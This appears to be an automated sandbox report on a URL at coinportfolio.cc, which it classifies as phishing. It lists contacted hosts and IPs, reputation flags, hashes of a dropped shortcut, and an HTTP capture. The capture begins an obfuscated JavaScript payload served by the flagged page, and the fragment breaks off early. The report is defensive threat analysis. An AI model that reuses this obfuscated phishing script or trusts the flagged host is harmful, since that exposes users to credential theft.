creditkarma-cms.imgix.net	unknown	unknown	false	unknown
www.creditkarma.com	unknown	unknown	false	unknown
hostedseal.trustarc.com	unknown	unknown	false	unknown
turbotax.intuit.com	unknown	unknown	false	unknown
tags.creditkarma.com	unknown	unknown	false	unknown
trial-eum-clientnsv4-s.akamaihd.net	unknown	unknown	false	unknown
adobedc.demdex.net	unknown	unknown	false	unknown
pixels.spotify.com	unknown	unknown	false	unknown
assets.intuitcdn.net	unknown	unknown	false	unknown
consent.intuit.quickbooksconnect.com	unknown	unknown	false	unknown
consent.www.firmofthefuture.com	unknown	unknown	false	unknown
appfabric-preload.app.intuit.com	unknown	unknown	false	unknown
consent.mailchimp.com	unknown	unknown	false	unknown
kit.fontawesome.com	unknown	unknown	false	unknown
trial-eum-clienttons-s.akamaihd.net	unknown	unknown	false	unknown
sci.intuit.com	unknown	unknown	false	unknown
trc.taboola.com	unknown	unknown	false	unknown
creditkarmacdn-a.akamaihd.net	unknown	unknown	false	unknown
cdn.taboola.com	unknown	unknown	false	unknown
api.creditkarma.com	unknown	unknown	false	unknown
ck-assets.imgix.net	unknown	unknown	false	unknown
consent.intuit.tsheets.com	unknown	unknown	false	unknown
tags.tiqcdn.com	unknown	unknown	false	unknown
rum.api.intuit.com	unknown	unknown	false	unknown
ckgoprod-a.akamaihd.net	unknown	unknown	false	unknown
pips.taboola.com	unknown	unknown	false	unknown
intuitvisitorid.api.intuit.com	unknown	unknown	false	unknown
s.go-mpulse.net	unknown	unknown	false	unknown
ds.reson8.com	unknown	unknown	false	unknown
684dd328.akstat.io	unknown	unknown	false	unknown
8-46-123-33_s-2-16-241-7_ts-1723223560-clienttons-s.akamaihd.net	unknown	unknown	false	unknown
segment.intuitcdn.net	unknown	unknown	false	unknown
uxfabric.intuitcdn.net	unknown	unknown	false	unknown
consent.intuit.com	unknown	unknown	false	unknown
trc-events.taboola.com	unknown	unknown	false	unknown
cds.taboola.com	unknown	unknown	false	unknown
dpm.demdex.net	unknown	unknown	false	unknown
eventbus.intuit.com	unknown	unknown	false	unknown
bam-cell.nr-data.net	unknown	unknown	false	unknown
sponge.creditkarma.com	unknown	unknown	false	unknown
plugin.intuitcdn.net	unknown	unknown	false	unknown
logging.api.intuit.com	unknown	unknown	false	unknown
baxhwiiccdxjezvwjyea-p0zhf6-3c0d32335-clientnsv4-s.akamaihd.net	unknown	unknown	false	unknown
ck-content.imgix.net	unknown	unknown	false	unknown
turbotax.demdex.net	unknown	unknown	false	unknown
analytics.tiktok.com	unknown	unknown	false	unknown
c.go-mpulse.net	unknown	unknown	false	unknown
v0.wordpress.com	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://uxfabric.intuitcdn.net/analytics/202309142221/visitorapi.min.js	false	Avira URL Cloud: safe	unknown
https://cdn.taboola.com/libtrc/unip/1022710/tfa.js	false	Avira URL Cloud: safe	unknown
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/assets/images/social-youtube.svg	false	Avira URL Cloud: safe	unknown
https://coinportfolio.cc/2feb3e56b/40eb1532f9b35de51b7e.svg	true	Avira URL Cloud: safe	unknown
https://cds.taboola.com/?uid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&src=tfa	false	Avira URL Cloud: safe	unknown
https://www.creditkarma.com/	false		unknown
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/favicons/creditkarma-favicon.ico?v=0.1.82	false	Avira URL Cloud: safe	unknown
https://uxfabric.intuitcdn.net/react-dom/17.0.2/react-dom.min.js	false	Avira URL Cloud: safe	unknown
https://uxfabric.intuitcdn.net/@appfabric/web-shell-core/9.70.3/BaseWidget.min.js	false	Avira URL Cloud: safe	unknown
about:blank	false	Avira URL Cloud: safe	unknown
https://creditkarma-cms.imgix.net/wp-content/uploads/2023/11/LCR-5529-Module-4-monthly-insights-6.png?w=1024&fm=webp	false	Avira URL Cloud: safe	unknown
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/Download_App_Desktop@2x.png?auto=format%2Ccompress	false	Avira URL Cloud: safe	unknown
https://turbotax.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fturbotax.intuit.com	false		unknown
https://uxfabric.intuitcdn.net/prop-types/15.8.1/prop-types.min.js	false	Avira URL Cloud: safe	unknown
https://coinportfolio.cc/2feb3e56b/	true		unknown
https://uxfabric.intuitcdn.net/@cloud-monitoring/1.21.1/o11y-rum-web.min.js	false	Avira URL Cloud: safe	unknown
https://uxfabric.intuitcdn.net/@design-systems/theme/4.0.3/dist/appfabric/theme.js	false	Avira URL Cloud: safe	unknown
https://uxfabric.intuitcdn.net/analytics/202309142221/track-event-lib-performance.min.js	false	Avira URL Cloud: safe	unknown
https://tags.creditkarma.com/wealth	false		unknown
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/Editorial_Desktop@2x.png?auto=format%2Ccompress	false	Avira URL Cloud: safe	unknown
https://trc.taboola.com/1022710/trc/3/json?tim=1723223588853&data=%7B%22id%22%3A483%2C%22ii%22%3A%22%2Fwealth%22%2C%22it%22%3A%22video%22%2C%22sd%22%3A%22v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223582_CNawjgYQ9rU-GK6-hMGTMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ%22%2C%22ui%22%3A%224c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e%22%2C%22vi%22%3A1723223588845%2C%22cv%22%3A%2220230124-13-RELEASE%22%2C%22uiv%22%3A%22default%22%2C%22u%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%3F%22%2C%22e%22%3Anull%2C%22cb%22%3A%22TFASC.trkCallback%22%2C%22qs%22%3A%22%22%2C%22r%22%3A%5B%7B%22li%22%3A%22rbox-tracking%22%2C%22s%22%3A0%2C%22uim%22%3A%22rbox-tracking%3Apub%3Dcreditkarma-creditcards-sc%3Aabp%3D0%22%2C%22uip%22%3A%22rbox-tracking%22%2C%22orig_uip%22%3A%22rbox-tracking%22%7D%5D%2C%22mpv%22%3Atrue%2C%22supv%22%3Atrue%2C%22mpvd%22%3A%7B%22en%22%3A%22page_view%22%2C%22tim%22%3A1723223588852%2C%22ref%22%3Anull%2C%22item-url%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%22%2C%22tos%22%3A4312%2C%22ssd%22%3A2%2C%22scd%22%3A0%2C%22ler%22%3A%22other%22%2C%22supv%22%3Atrue%7D%7D&pubit=i	false	Avira URL Cloud: safe	unknown
https://dpm.demdex.net/id?d_visid_ver=5.3.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=969430F0543F253D0A4C98C6%40AdobeOrg&d_nsid=0&ts=1723223544960	false	Avira URL Cloud: safe	unknown
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/assets/images/social-twitter.svg	false	Avira URL Cloud: safe	unknown
https://coinportfolio.cc/2feb3e56b/89789ca2129d1c1775a0.svg	true	Avira URL Cloud: safe	unknown
https://creditkarma.com/	false	Avira URL Cloud: safe	unknown
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/karmaConfidence/hero/CC+PL_DESKTOP_3x.png?auto=format	false	Avira URL Cloud: safe	unknown
https://uxfabric.intuitcdn.net/@cloud-monitoring/1.21.1/591.min.js	false	Avira URL Cloud: safe	unknown
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/swimlane/Auto@2x.png?auto=format%2Ccompress&dpr=1	false	Avira URL Cloud: safe	unknown
https://bam-cell.nr-data.net/1/248e088a40?a=1386172146&sa=1&v=1210.e2a3f80&t=Unnamed%20Transaction&rst=4591&ck=1&ref=https://tags.creditkarma.com/wealth&be=1313&fe=3876&dc=2098&af=err,xhr,stn,ins,spa&perf=%7B%22timing%22:%7B%22of%22:1723223587654,%22n%22:0,%22f%22:0,%22dn%22:4,%22dne%22:4,%22c%22:4,%22s%22:5,%22ce%22:659,%22rq%22:660,%22rp%22:1046,%22rpe%22:1147,%22dl%22:1052,%22di%22:2098,%22ds%22:2098,%22de%22:2098,%22dc%22:3875,%22l%22:3875,%22le%22:3877%7D,%22navigation%22:%7B%7D%7D&jsonp=NREUM.setToken	false	Avira URL Cloud: safe	unknown
https://tags.creditkarma.com/	false		unknown
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/swimlane/Savings@2x.png?auto=format%2Ccompress&dpr=1	false	Avira URL Cloud: safe	unknown
https://eventbus.intuit.com/v2/segment/cg-turbotax-clickstream/p	false	Avira URL Cloud: safe	unknown
https://stats.wp.com/e-202432.js	false	Avira URL Cloud: safe	unknown
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/benefitPillar/Lock@2x.png?auto=format%2Ccompress&dpr=1	false	Avira URL Cloud: safe	unknown
https://eventbus.intuit.com/v2/segment/cg-turbotax-clickstream/t	false	Avira URL Cloud: safe	unknown
https://js-agent.newrelic.com/nr-spa-1210.min.js	false	Avira URL Cloud: safe	unknown
https://trc-events.taboola.com/1022710/log/3/unip?en=pre_d_eng_tb&tos=7440&scd=0&ssd=2&est=1723223580465&ver=36&isls=true&src=i&invt=3000&msa=8&rv=1&tim=1723223591980&vi=1723223588845&ri=e657ba7009727bdb4cb6924ac9609ae8&sd=v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223590_CNawjgYQ9rU-GO3_hMGTMiACKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ&ui=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&ref=null&cv=20230124-13-RELEASE&item-url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ler=other	false	Avira URL Cloud: safe	unknown
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/assets/images/social-tiktok.svg	false	Avira URL Cloud: safe	unknown
https://coinportfolio.cc/2feb3e56b/prs.css	true	Avira URL Cloud: safe	unknown
https://consent.intuit.com/api/sync	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://i.liadm.com/s/66627?bidder_id=88068&bidder_uuid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdaf	chromecache_731.1.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/g/collect	chromecache_411.1.dr, chromecache_960.1.dr	false	URL Reputation: safe	unknown
https://tailwindcss.com	chromecache_934.1.dr	false	URL Reputation: safe	unknown
https://www.redditstatic.com/ads/pixel.js	chromecache_933.1.dr, chromecache_870.1.dr	false	URL Reputation: safe	unknown
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/marketing/homepage/2024/3_up_diwm	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
http://blog.turbotax.intuit.com/	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/brand/badges/Guarantee_Badge_Total-Satis	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/marketing/homepage/2024/3_up_diy.	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/sindresorhus/modern-normalize	chromecache_934.1.dr	false	Avira URL Cloud: safe	unknown
https://turbotax.com/support/go/GEN88403	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-DemiIt.2.woff	chromecache_574.1.dr	false	Avira URL Cloud: safe	unknown
https://fontawesome.com	chromecache_789.1.dr, chromecache_548.1.dr, chromecache_544.1.dr, chromecache_614.1.dr	false	URL Reputation: safe	unknown
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/youtube.svg	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://www.creditkarma.com/?source=intuit	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/images/brands/logo-creditkarma.svg	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://proconnect.intuit.com/?s_cid=TT.com_MoreProds-Footer_ProTaxSoftware	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-Regular.2.woff	chromecache_574.1.dr	false	Avira URL Cloud: safe	unknown
https://www.intuit.com/careers/	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-BoldIt.1.woff2	chromecache_574.1.dr	false	Avira URL Cloud: safe	unknown
https://creditkarmacdn-a.akamaihd.net/res/content/bundles/cfwk_raw-tracker-web/2.16.1/	chromecache_438.1.dr, chromecache_785.1.dr	false	Avira URL Cloud: safe	unknown
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-Bold.1.woff2	chromecache_574.1.dr	false	Avira URL Cloud: safe	unknown
https://openjsf.org/	chromecache_690.1.dr, chromecache_637.1.dr	false	URL Reputation: safe	unknown
https://accounts-tax.intuit.com/app/community/signup	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://intuit-teams.slack.com/archives/CD2AD7KJA	chromecache_428.1.dr, chromecache_528.1.dr	false	Avira URL Cloud: safe	unknown
https://support.turbotax.intuit.com/redirect/eidproof	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/brand/badges/Guarantee_Badge_Life	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-MediumIt.2.woff	chromecache_574.1.dr	false	Avira URL Cloud: safe	unknown
https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=157259896247	chromecache_813.1.dr, chromecache_543.1.dr	false	Avira URL Cloud: safe	unknown
https://blog.turbotax.intuit.com/tax-planning-2/how-bonuses-are-taxed-calculator-15628/	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://quickbooks.intuit.com/payroll/	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://ttlc.intuit.com/community/charges-and-fees/help/what-is-the-turbotax-audit-support-guarantee	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://schema.org	chromecache_424.1.dr	false	URL Reputation: safe	unknown
https://github.com/yowainwright/stickybits#readme	chromecache_690.1.dr, chromecache_637.1.dr	false	Avira URL Cloud: safe	unknown
http://underscorejs.org/LICENSE	chromecache_690.1.dr, chromecache_637.1.dr	false	URL Reputation: safe	unknown
https://support.turbotax.intuit.com/contact	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://myturbotax.intuit.com/preloader?disableRum=true	chromecache_897.1.dr	false	Avira URL Cloud: safe	unknown
https://cqa.myturbotax.intuit.com/preloader?disableRum=true	chromecache_897.1.dr	false	Avira URL Cloud: safe	unknown
https://turbotax.intuit.com/corp/license/online	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://creditkarmacdn-a.akamaihd.net/res/content/bundles/web-tracking-client/	chromecache_438.1.dr, chromecache_785.1.dr	false	Avira URL Cloud: safe	unknown
https://ttlc.intuit.com/community/home/misc/03/en-us	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://www.intuit.com/company/press-room/	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=168768523091	chromecache_813.1.dr, chromecache_543.1.dr	false	Avira URL Cloud: safe	unknown
https://support.turbotax.intuit.com/account-recovery	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-Demi.2.woff	chromecache_574.1.dr	false	Avira URL Cloud: safe	unknown
https://myturbotax.intuit.com/	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://accounts-tax.intuit.com/app/turbotaxonline	chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/brand/videos/full-service/turbota	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://ww1.2022.ca.turbotaxonline.intuit.com/signin	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://security.intuit.com/intuit-cookie-policy/	chromecache_423.1.dr, chromecache_483.1.dr	false	Avira URL Cloud: safe	unknown
https://ttlc.intuit.com/turbotax-support/en-us/help-article/intuit-account-billing/turbotax-audit-su	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
http://clevelsecurity.com/certified/intuit/Intuit_turbotax.html	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://accounts-tax.intuit.com/app/turbotaxdesktop/account-recovery	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://sc-static.net/scevent.min.js	chromecache_933.1.dr, chromecache_870.1.dr	false	URL Reputation: safe	unknown
https://docs.tealium.com/platforms/javascript/debugging/	chromecache_897.1.dr	false	Avira URL Cloud: safe	unknown
https://quickbooks.intuit.com/accountants/?s_cid=TT.com_MoreProds-Footer_ProAcctgsoftware	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://accounts-tax.intuit.com/app/turbotaxadvantage/signup	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://ka-f.fontawesome.com	chromecache_531.1.dr, chromecache_917.1.dr	false	URL Reputation: safe	unknown
https://myturbotax.intuit.com	chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/brand/badges/Guarantee_Badge_Max-Refund_	chromecache_424.1.dr	false	Avira URL Cloud: safe	unknown
https://turbotax-community-e2e.intuit.com/	chromecache_393.1.dr, chromecache_618.1.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
52.222.236.23	cookie-sync.gdpr-consent-prd.a.intuit.com	United States	16509	AMAZON-02US	false
100.21.136.150	eventbus.a.intuit.com	United States	16509	AMAZON-02US	false
104.21.19.43	coinportfolio.cc	United States	13335	CLOUDFLARENETUS	false
151.101.193.44	tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
151.101.1.44	unknown	United States	54113	FASTLYUS	false
34.254.85.174	unknown	United States	16509	AMAZON-02US	false
18.239.36.99	unknown	United States	16509	AMAZON-02US	false
18.239.36.106	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.65.39.88	unknown	United States	3	MIT-GATEWAYSUS	false
151.101.65.44	unknown	United States	54113	FASTLYUS	false
35.244.174.68	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
3.209.236.210	unknown	United States	14618	AMAZON-AESUS	false
104.18.28.127	unknown	United States	13335	CLOUDFLARENETUS	false
52.222.236.16	unknown	United States	16509	AMAZON-02US	false
99.86.4.129	unknown	United States	16509	AMAZON-02US	false
3.161.119.42	unknown	United States	16509	AMAZON-02US	false
52.222.236.40	unknown	United States	16509	AMAZON-02US	false
141.226.228.48	am-vip001.taboola.com	Israel	200478	TABOOLA-ASIL	false
54.200.248.117	prd-dx11.devpapigwextprdusw2.iks2.a.intuit.com	United States	16509	AMAZON-02US	false
52.222.214.14	segment.intuitcdn.a.intuit.com	United States	16509	AMAZON-02US	false
192.0.76.3	stats.wp.com	United States	2635	AUTOMATTICUS	false
151.101.2.208	dualstack.com.imgix.map.fastly.net	United States	54113	FASTLYUS	false
35.186.224.24	edge-web.dual-gslb.spotify.com	United States	15169	GOOGLEUS	false
3.160.212.50	unknown	United States	16509	AMAZON-02US	false
52.22.69.235	legacy-hostedseal-prod2-2000933319.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
63.33.107.117	unknown	United States	16509	AMAZON-02US	false
34.208.40.199	prd-id06.apigwidprdusw2.iks2.a.intuit.com	United States	16509	AMAZON-02US	false
34.253.253.34	unknown	United States	16509	AMAZON-02US	false
13.33.187.60	dzfq4ouujrxm8.cloudfront.net	United States	16509	AMAZON-02US	false
52.41.70.22	unknown	United States	16509	AMAZON-02US	false
63.140.62.222	intuit.com.ssl.sc.omtrdc.net	United States	15224	OMNITUREUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
2.17.182.80	creditkarma.com	European Union	16625	AKAMAI-ASUS	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
52.43.5.188	prd-dx01.devpapigwextprdusw2.iks2.a.intuit.com	United States	16509	AMAZON-02US	false
104.18.29.127	geolocation.onetrust.com	United States	13335	CLOUDFLARENETUS	false
54.192.137.47	uxfabric.intuitcdn.a.intuit.com	United States	16509	AMAZON-02US	false
34.117.162.98	pixel.byspotify.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
44.237.78.208	unknown	United States	16509	AMAZON-02US	false
104.26.8.44	ipapi.co	United States	13335	CLOUDFLARENETUS	true
192.0.66.2	cms.creditkarma.com	United States	2635	AUTOMATTICUS	false
63.140.62.27	unknown	United States	15224	OMNITUREUS	false
162.247.243.30	fastly-tls12-bam-cell.nr-data.net	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
162.247.243.39	js-agent.newrelic.com	United States	13335	CLOUDFLARENETUS	false
74.125.250.129	stun.l.google.com	United States	15169	GOOGLEUS	false
172.67.185.53	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.162	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
151.101.129.44	unknown	United States	54113	FASTLYUS	false
142.250.185.130	td.doubleclick.net	United States	15169	GOOGLEUS	false
52.222.236.73	unknown	United States	16509	AMAZON-02US	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
141.226.224.32	us-cds.taboola.com	Israel	200478	TABOOLA-ASIL	false
54.171.112.207	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1490743
Start date and time:	2024-08-09 19:10:50 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://coinportfolio.cc/2feb3e56b/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@27/946@244/58
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://turbotax.intuit.com/ Browse: https://creditkarma.com/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Aug 9 16:11:48 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9829890112406248
Encrypted:	false
SSDEEP:	48:85d2Ty2SHcWidAKZdA19ehwiZUklqehZy+3:8a7X86y
MD5:	F79FB61D7EDA02430C8733B4EDC6277E
SHA1:	500D1C4B90AAD41CFC34CF8CD3B593D0768898EE
SHA-256:	0937C3775AB4E1EE66FDF411D417510EF0E0BA5A8D79F20D9096AF879D5D38F8
SHA-512:	0DFE78F7B4BC9FAABDA9F3D806CAB0167E3E9698C34F54A487C31A727AB30192FF720784D0306C15560E9E2733EDF5D4648078CF579537A8AB0A66AF0C7A5949
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....XE.7....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yv.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yv.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yv.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yv............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yx............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:48 UTC	669	OUT	GET /2feb3e56b/ HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:49 UTC	674	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BkB10gdTwdVQPnv%2BKSL4HgGW%2FUXf40oGQfVMlyoxS%2BZL4A3If4T4uU8QOahXeoJWLkiojD2goeLvWMdSb1p91zNlX0MutGdDw10a6qlJoK3Z3%2B2Sul%2FeHRjAC84jJ4XO%2Bmih"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e1279f14249-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:49 UTC	695	IN	Data Raw: 37 64 30 66 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 66 33 35 33 2c 5f 30 78 35 39 35 32 64 62 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 37 31 39 33 64 33 28 5f 30 78 32 65 33 30 62 32 2c 5f 30 78 33 35 32 33 62 66 2c 5f 30 78 35 64 63 62 38 34 2c 5f 30 78 32 31 31 63 36 38 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 63 36 64 28 5f 30 78 35 64 63 62 38 34 2d 30 78 33 39 32 2c 5f 30 78 32 65 33 30 62 32 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 32 61 34 64 66 28 5f 30 78 31 36 61 64 62 32 2c 5f 30 78 33 65 61 66 65 63 2c 5f 30 78 34 31 65 31 38 34 2c 5f 30 78 34 66 35 37 37 31 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 63 36 64 28 5f 30 78 31 36 61 64 62 32 2d 20 2d 30 78 33 63 63 2c 5f 30 78 34 66 35 37 37 31 29 3b 7d Data Ascii: 7d0f<script>(function(_0x46f353,_0x5952db){function _0x7193d3(_0x2e30b2,_0x3523bf,_0x5dcb84,_0x211c68){return _0x2c6d(_0x5dcb84-0x392,_0x2e30b2);}function _0x52a4df(_0x16adb2,_0x3eafec,_0x41e184,_0x4f5771){return _0x2c6d(_0x16adb2- -0x3cc,_0x4f5771);}
